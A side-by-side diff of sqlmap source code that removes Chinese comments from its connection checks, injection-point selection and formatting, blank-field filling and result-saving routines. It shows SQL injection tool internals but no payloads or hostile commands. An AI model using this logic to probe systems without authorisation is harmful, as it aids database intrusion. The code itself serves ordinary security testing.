# 如果存在POST数据则返回False
if conf.data: if conf.data:
return False return False
# 从哈希数据库中获取NULL连接检测结果
_ = hashDBRetrieve(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, True) _ = hashDBRetrieve(HASHDB_KEYS.CHECK_NULL_CONNECTION_RESULT, True)
if _ is not None: if _ is not None:
kb.nullConnection = _ kb.nullConnection = _
@ -1547,12 +1426,10 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL" infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
# 保存当前状态
pushValue(kb.pageCompress) pushValue(kb.pageCompress)
kb.pageCompress = False kb.pageCompress = False
try: try:
# 使用HEAD方法测试NULL连接
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
@ -1561,7 +1438,6 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
logger.info(infoMsg) logger.info(infoMsg)
else: else:
# 使用GET方法测试NULL连接
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
@ -1570,7 +1446,6 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with GET method ('Range')" infoMsg = "NULL connection is supported with GET method ('Range')"
logger.info(infoMsg) logger.info(infoMsg)
else: else:
# 使用skip-read方法测试NULL连接
_, headers, _ = Request.getPage(skipRead=True) _, headers, _ = Request.getPage(skipRead=True)
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
@ -1590,48 +1465,36 @@ def checkNullConnection():
return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True) return kb.nullConnection in getPublicTypeMembers(NULLCONNECTION, True)
def checkConnection(suppressOutput=False): def checkConnection(suppressOutput=False):
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 检查主机名是否为IP地址
if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname): if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
# 如果没有代理、Tor、Dummy或离线模式
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
try: try:
# 解析主机名
debugMsg = "resolving hostname '%s'" % conf.hostname debugMsg = "resolving hostname '%s'" % conf.hostname
logger.debug(debugMsg) logger.debug(debugMsg)
socket.getaddrinfo(conf.hostname, None) socket.getaddrinfo(conf.hostname, None)
except socket.gaierror: except socket.gaierror:
# 主机名不存在
errMsg = "host '%s' does not exist" % conf.hostname errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
except socket.error as ex: except socket.error as ex:
# 解析主机名时出现问题
errMsg = "problem occurred while " errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
except UnicodeError as ex: except UnicodeError as ex:
# 处理主机名时出现问题
errMsg = "problem occurred while " errMsg = "problem occurred while "
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
# 如果没有抑制输出并且不是Dummy或离线模式
if not suppressOutput and not conf.dummy and not conf.offline: if not suppressOutput and not conf.dummy and not conf.offline:
# 测试连接到目标URL
infoMsg = "testing connection to the target URL" infoMsg = "testing connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
try: try:
# 获取页面内容
kb.originalPageTime = time.time() kb.originalPageTime = time.time()
page, headers, _ = Request.queryPage(content=True, noteResponseTime=False) page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
# 获取原始响应
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
# 如果提供了字符串,检查字符串是否在页面内容中
if conf.string: if conf.string:
infoMsg = "testing if the provided string is within the " infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content" infoMsg += "target URL page content"
@ -1643,7 +1506,6 @@ def checkConnection(suppressOutput=False):
warnMsg += "URL raw response, sqlmap will carry on anyway" warnMsg += "URL raw response, sqlmap will carry on anyway"
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果提供了正则表达式,检查正则表达式是否匹配页面内容
if conf.regexp: if conf.regexp:
infoMsg = "testing if the provided regular expression matches within " infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content" infoMsg += "the target URL page content"
@ -1657,25 +1519,19 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False kb.errorIsNone = False
# 如果服务器头包含不兼容的服务器,关闭预连接机制
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS): if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader) singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True conf.disablePrecon = True
# 如果没有原始页面并且最后一个响应是HTTP错误
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
# 如果最后一个请求的HTTP错误代码不在忽略代码中
if getLastRequestHTTPError() not in (conf.ignoreCode or []): if getLastRequestHTTPError() not in (conf.ignoreCode or []):
errMsg = "unable to retrieve page content" errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
# 如果最后一个响应是DBMS错误
elif wasLastResponseDBMSError(): elif wasLastResponseDBMSError():
warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg = "there is a DBMS error found in the HTTP response body "
warnMsg += "which could interfere with the results of the tests" warnMsg += "which could interfere with the results of the tests"
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果最后一个响应是HTTP错误
elif wasLastResponseHTTPError(): elif wasLastResponseHTTPError():
# 如果最后一个请求的HTTP错误代码不在忽略代码中
if getLastRequestHTTPError() not in (conf.ignoreCode or []): if getLastRequestHTTPError() not in (conf.ignoreCode or []):
warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
warnMsg += "which could interfere with the results of the tests" warnMsg += "which could interfere with the results of the tests"
@ -1683,20 +1539,14 @@ def checkConnection(suppressOutput=False):
else: else:
kb.errorIsNone = True kb.errorIsNone = True
# 如果重定向为是并且最后一个重定向URL和最后一个请求UID相同
if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
# 如果最后一个重定向URL以https://开头并且主机名在最后一个重定向URL中
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]): if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]):
# 将URL改为https://
conf.url = re.sub(r"https?://", "https://", conf.url) conf.url = re.sub(r"https?://", "https://", conf.url)
# 获取端口号
match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443 port = match.group(1) if match else 443
# 将URL中的端口号改为最后一个重定向URL中的端口号
conf.url = re.sub(r":\d+(/|\Z)", r":%s\g<1>" % port, conf.url) conf.url = re.sub(r":\d+(/|\Z)", r":%s\g<1>" % port, conf.url)
except SqlmapConnectionException as ex: except SqlmapConnectionException as ex:
# 如果提供了IPv6地址检查连接
if conf.ipv6: if conf.ipv6:
warnMsg = "check connection to a provided " warnMsg = "check connection to a provided "
warnMsg += "IPv6 address with a tool like ping6 " warnMsg += "IPv6 address with a tool like ping6 "
@ -1705,16 +1555,13 @@ def checkConnection(suppressOutput=False):
warnMsg += "any addressing issues" warnMsg += "any addressing issues"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 如果HTTP错误代码为404
if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )): if any(code in kb.httpErrorCodes for code in (_http_client.NOT_FOUND, )):
errMsg = getSafeExString(ex) errMsg = getSafeExString(ex)
logger.critical(errMsg) logger.critical(errMsg)
# 如果有多个目标
if conf.multipleTargets: if conf.multipleTargets:
return False return False
# 提示用户是否退出
msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] "
if readInput(msg, default='Y', boolean=True): if readInput(msg, default='Y', boolean=True):
raise SqlmapSilentQuitException raise SqlmapSilentQuitException
@ -1723,16 +1570,12 @@ def checkConnection(suppressOutput=False):
else: else:
raise raise
finally: finally:
# 将原始页面和页面模板设置为最后一个页面和最后一个代码
kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode kb.originalCode = threadData.lastCode
# 如果提供了cookie并且没有声明cookie也没有在httpHeaders中声明cookie也没有设置dropSetCookie
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
# 获取cookie
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
# 提示用户是否使用这些cookie
message = "you have not declared cookie(s), while " message = "you have not declared cookie(s), while "
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
message += "Do you want to use those [Y/n] " message += "Do you want to use those [Y/n] "
@ -1742,11 +1585,8 @@ def checkConnection(suppressOutput=False):
return True return True
# 检查网络连接
def checkInternet(): def checkInternet():
# 获取页面内容
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
# 判断页面内容是否包含指定的值
return CHECK_INTERNET_VALUE in (content or "") return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-referenced function def setVerbosity(): # Cross-referenced function

@ -86,71 +86,55 @@ def _selectInjection():
points = {} points = {}
# 遍历kb.injections中的每一个injection
for injection in kb.injections: for injection in kb.injections:
place = injection.place place = injection.place
parameter = injection.parameter parameter = injection.parameter
ptype = injection.ptype ptype = injection.ptype
# 将place, parameter, ptype组成一个元组point
point = (place, parameter, ptype) point = (place, parameter, ptype)
# 如果point不在points中则将injection添加到points中
if point not in points: if point not in points:
points[point] = injection points[point] = injection
else: else:
# 如果point已经在points中则将injection中的非data字段添加到points中
for key in points[point]: for key in points[point]:
if key != 'data': if key != 'data':
points[point][key] = points[point][key] or injection[key] points[point][key] = points[point][key] or injection[key]
# 将injection中的data字段更新到points中
points[point]['data'].update(injection['data']) points[point]['data'].update(injection['data'])
# 如果points中只有一个injection则将kb.injection设置为kb.injections[0]
if len(points) == 1: if len(points) == 1:
kb.injection = kb.injections[0] kb.injection = kb.injections[0]
# 如果points中有多个injection则提示用户选择一个injection
elif len(points) > 1: elif len(points) > 1:
message = "there were multiple injection points, please select " message = "there were multiple injection points, please select "
message += "the one to use for following injections:\n" message += "the one to use for following injections:\n"
points = [] points = []
# 遍历kb.injections中的每一个injection
for i in xrange(0, len(kb.injections)): for i in xrange(0, len(kb.injections)):
place = kb.injections[i].place place = kb.injections[i].place
parameter = kb.injections[i].parameter parameter = kb.injections[i].parameter
ptype = kb.injections[i].ptype ptype = kb.injections[i].ptype
point = (place, parameter, ptype) point = (place, parameter, ptype)
# 如果point不在points中则将point添加到points中
if point not in points: if point not in points:
points.append(point) points.append(point)
# 如果ptype是整数则将其转换为PAYLOAD.PARAMETER[ptype]
ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype
# 构造提示信息
message += "[%d] place: %s, parameter: " % (i, place) message += "[%d] place: %s, parameter: " % (i, place)
message += "%s, type: %s" % (parameter, ptype) message += "%s, type: %s" % (parameter, ptype)
# 如果是第一个injection则设置为默认
if i == 0: if i == 0:
message += " (default)" message += " (default)"
message += "\n" message += "\n"
# 提示用户选择一个injection
message += "[q] Quit" message += "[q] Quit"
choice = readInput(message, default='0').upper() choice = readInput(message, default='0').upper()
# 如果用户选择的是一个有效的injection则将kb.injection设置为kb.injections[index]
if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0: if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
index = int(choice) index = int(choice)
# 如果用户选择的是q则抛出SqlmapUserQuitException异常
elif choice == 'Q': elif choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
# 如果用户选择的是一个无效的injection则抛出SqlmapValueException异常
else: else:
errMsg = "invalid choice" errMsg = "invalid choice"
raise SqlmapValueException(errMsg) raise SqlmapValueException(errMsg)
@ -158,33 +142,24 @@ def _selectInjection():
kb.injection = kb.injections[index] kb.injection = kb.injections[index]
def _formatInjection(inj): def _formatInjection(inj):
# 获取参数类型
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place
# 格式化数据
data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) data = "Parameter: %s (%s)\n" % (inj.parameter, paramType)
# 遍历inj.data中的每个键值对
for stype, sdata in inj.data.items(): for stype, sdata in inj.data.items():
# 获取title、vector、comment、payload
title = sdata.title title = sdata.title
vector = sdata.vector vector = sdata.vector
comment = sdata.comment comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload) payload = agent.adjustLateValues(sdata.payload)
# 如果inj.place为CUSTOM_HEADER则payload取split后的第二个元素
if inj.place == PLACE.CUSTOM_HEADER: if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1] payload = payload.split(',', 1)[1]
# 如果stype为UNION则count为payload中逗号的数量加1title中替换为countvector中forgeUnionQuery
if stype == PAYLOAD.TECHNIQUE.UNION: if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1 count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title) title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
# 如果count为1则title中替换为column
if count == 1: if count == 1:
title = title.replace("columns", "column") title = title.replace("columns", "column")
# 如果comment不为空则vector拼接comment
elif comment: elif comment:
vector = "%s%s" % (vector, comment) vector = "%s%s" % (vector, comment)
# 格式化数据
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
@ -193,137 +168,98 @@ def _formatInjection(inj):
return data return data
def _showInjections(): def _showInjections():
# 如果conf.wizard且kb.wizardMode为True则将kb.wizardMode置为False
if conf.wizard and kb.wizardMode: if conf.wizard and kb.wizardMode:
kb.wizardMode = False kb.wizardMode = False
# 如果kb.testQueryCount大于0则header为sqlmap识别到的注入点数量
if kb.testQueryCount > 0: if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with " header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount header += "a total of %d HTTP(s) requests" % kb.testQueryCount
# 否则header为sqlmap从存储的会话中恢复的注入点
else: else:
header = "sqlmap resumed the following injection point(s) from stored session" header = "sqlmap resumed the following injection point(s) from stored session"
# 如果conf.api则使用conf.dumper.string输出url、query、data和kb.injections
if conf.api: if conf.api:
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
# 否则使用conf.dumper.string输出header和格式化后的kb.injections
else: else:
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
conf.dumper.string(header, data) conf.dumper.string(header, data)
# 如果conf.tamper则输出警告信息
if conf.tamper: if conf.tamper:
warnMsg = "changes made by tampering scripts are not " warnMsg = "changes made by tampering scripts are not "
warnMsg += "included in shown payload content(s)" warnMsg += "included in shown payload content(s)"
logger.warning(warnMsg) logger.warning(warnMsg)
# 如果conf.hpp则输出警告信息
if conf.hpp: if conf.hpp:
warnMsg = "changes made by HTTP parameter pollution are not " warnMsg = "changes made by HTTP parameter pollution are not "
warnMsg += "included in shown payload content(s)" warnMsg += "included in shown payload content(s)"
logger.warning(warnMsg) logger.warning(warnMsg)
def _randomFillBlankFields(value): def _randomFillBlankFields(value):
# 将retVal赋值为value
retVal = value retVal = value
# 如果value中存在EMPTY_FORM_FIELDS_REGEX则询问是否填充空白字段
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
message = "do you want to fill blank fields with random values? [Y/n] " message = "do you want to fill blank fields with random values? [Y/n] "
# 如果输入为Y或空则将retVal中匹配到的字段替换为随机值
if readInput(message, default='Y', boolean=True): if readInput(message, default='Y', boolean=True):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result") item = match.group("result")
# 如果item不在IGNORE_PARAMETERS中且不匹配ASP_NET_CONTROL_REGEX则替换为随机值
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt() newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
# 如果item以DEFAULT_GET_POST_DELIMITER结尾则替换为"%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER)
if item[-1] == DEFAULT_GET_POST_DELIMITER: if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER)) retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
# 否则替换为"%s%s" % (item, newValue)
else: else:
retVal = retVal.replace(item, "%s%s" % (item, newValue)) retVal = retVal.replace(item, "%s%s" % (item, newValue))
return retVal return retVal
def _saveToHashDB(): def _saveToHashDB():
# 从hashDB中获取kb.injections
injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True)
# 如果injections不是列表则将其赋值为空列表
if not isListLike(injections): if not isListLike(injections):
injections = [] injections = []
# 将kb.injections中满足条件的元素添加到injections中
injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None)
_ = dict() _ = dict()
# 遍历injections中的元素
for injection in injections: for injection in injections:
# 将injection.place、injection.parameter、injection.ptype作为key
key = (injection.place, injection.parameter, injection.ptype) key = (injection.place, injection.parameter, injection.ptype)
# 如果key不在_中则将injection添加到_中
if key not in _: if key not in _:
_[key] = injection _[key] = injection
# 否则将injection.data中的元素更新到_中
else: else:
_[key].data.update(injection.data) _[key].data.update(injection.data)
# 将_中的元素写入hashDB
hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, list(_.values()), True) hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, list(_.values()), True)
# 从hashDB中获取kb.absFilePaths
_ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True)
# 将kb.absFilePaths中的元素添加到_中
hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True) hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True)
# 如果hashDB中没有kb.chars则将kb.chars写入hashDB
if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS): if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS):
hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True) hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True)
# 如果hashDB中没有kb.dynamicMarkings则将kb.dynamicMarkings写入hashDB
if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS):
hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True)
def _saveToResultsFile(): def _saveToResultsFile():
# 如果没有设置conf.resultsFP则返回
if not conf.resultsFP: if not conf.resultsFP:
return return
# 创建results字典
results = {} results = {}
# 获取PAYLOAD.TECHNIQUE中的所有公共成员并将其转换为字典
techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) techniques = dict((_[1], _[0]) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE))
# 遍历kb.injections和kb.falsePositives中的元素
for injection in kb.injections + kb.falsePositives: for injection in kb.injections + kb.falsePositives:
# 如果injection.place或injection.parameter为None则跳过
if injection.place is None or injection.parameter is None: if injection.place is None or injection.parameter is None:
continue continue
# 将injection.place、injection.parameter、injection.notes作为key
key = (injection.place, injection.parameter, ';'.join(injection.notes)) key = (injection.place, injection.parameter, ';'.join(injection.notes))
# 如果key不在results中则将key添加到results中
if key not in results: if key not in results:
results[key] = [] results[key] = []
# 将injection.data中的元素添加到results[key]中
results[key].extend(list(injection.data.keys())) results[key].extend(list(injection.data.keys()))
# 尝试将results中的元素写入conf.resultsFP
try: try:
for key, value in results.items(): for key, value in results.items():
# 获取key中的元素
place, parameter, notes = key place, parameter, notes = key
# 将key中的元素转换为字符串并添加到line中
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
# 将line写入conf.resultsFP
conf.resultsFP.write(line) conf.resultsFP.write(line)
# 刷新conf.resultsFP
conf.resultsFP.flush() conf.resultsFP.flush()
# 如果发生IOError则抛出SqlmapSystemException
except IOError as ex: except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex)) errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@ -336,55 +272,43 @@ def start():
check if they are dynamic and SQL injection affected check if they are dynamic and SQL injection affected
""" """
# 如果设置了conf.hashFile则调用crackHashFile函数
if conf.hashFile: if conf.hashFile:
crackHashFile(conf.hashFile) crackHashFile(conf.hashFile)
# 如果设置了conf.direct则调用initTargetEnv、setupTargetEnv、action函数
if conf.direct: if conf.direct:
initTargetEnv() initTargetEnv()
setupTargetEnv() setupTargetEnv()
action() action()
return True return True
# 如果设置了conf.url且没有设置conf.forms和conf.crawlDepth则将(conf.url, conf.method, conf.data, conf.cookie, None)添加到kb.targets中
if conf.url and not any((conf.forms, conf.crawlDepth)): if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
# 如果设置了conf.configFile且没有设置kb.targets则抛出SqlmapSystemException
if conf.configFile and not kb.targets: if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set " errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork" errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg) logger.error(errMsg)
return False return False
# 如果kb.targets不为空且kb.targets是列表且kb.targets的长度大于1则输出信息
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1: if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets) infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg) logger.info(infoMsg)
# 初始化targetCount为0
targetCount = 0 targetCount = 0
# 初始化initialHeaders为conf.httpHeaders
initialHeaders = list(conf.httpHeaders) initialHeaders = list(conf.httpHeaders)
# 遍历kb.targets中的元素
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
# 将targetCount加1
targetCount += 1 targetCount += 1
try: try:
# 如果设置了conf.checkInternet则调用checkInternet函数
if conf.checkInternet: if conf.checkInternet:
infoMsg = "checking for Internet connection" infoMsg = "checking for Internet connection"
logger.info(infoMsg) logger.info(infoMsg)
# 如果没有检测到Internet连接则输出警告信息
if not checkInternet(): if not checkInternet():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
dataToStdout(warnMsg) dataToStdout(warnMsg)
# 尝试检测Internet连接
valid = False valid = False
for _ in xrange(conf.retries): for _ in xrange(conf.retries):
if checkInternet(): if checkInternet():
@ -394,38 +318,29 @@ def start():
dataToStdout('.') dataToStdout('.')
time.sleep(5) time.sleep(5)
# 如果没有检测到Internet连接则抛出SqlmapConnectionException
if not valid: if not valid:
errMsg = "please check your Internet connection and rerun" errMsg = "please check your Internet connection and rerun"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
else: else:
dataToStdout("\n") dataToStdout("\n")
# 将conf.url赋值为targetUrl
conf.url = targetUrl conf.url = targetUrl
# 将conf.method赋值为targetMethod的大写形式
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
# 将conf.data赋值为targetData
conf.data = targetData conf.data = targetData
# 将conf.cookie赋值为targetCookie
conf.cookie = targetCookie conf.cookie = targetCookie
# 将conf.httpHeaders赋值为initialHeaders和targetHeaders的并集
conf.httpHeaders = list(initialHeaders) conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or []) conf.httpHeaders.extend(targetHeaders or [])
# 如果设置了conf.randomAgent或conf.mobile则将initialHeaders中USER_AGENT的值赋值给conf.httpHeaders
if conf.randomAgent or conf.mobile: if conf.randomAgent or conf.mobile:
for header, value in initialHeaders: for header, value in initialHeaders:
if header.upper() == HTTP_HEADER.USER_AGENT.upper(): if header.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.httpHeaders.append((header, value)) conf.httpHeaders.append((header, value))
break break
# 如果设置了conf.data则将conf.data中的__ ASP(.NET)参数进行URL编码
if conf.data: if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
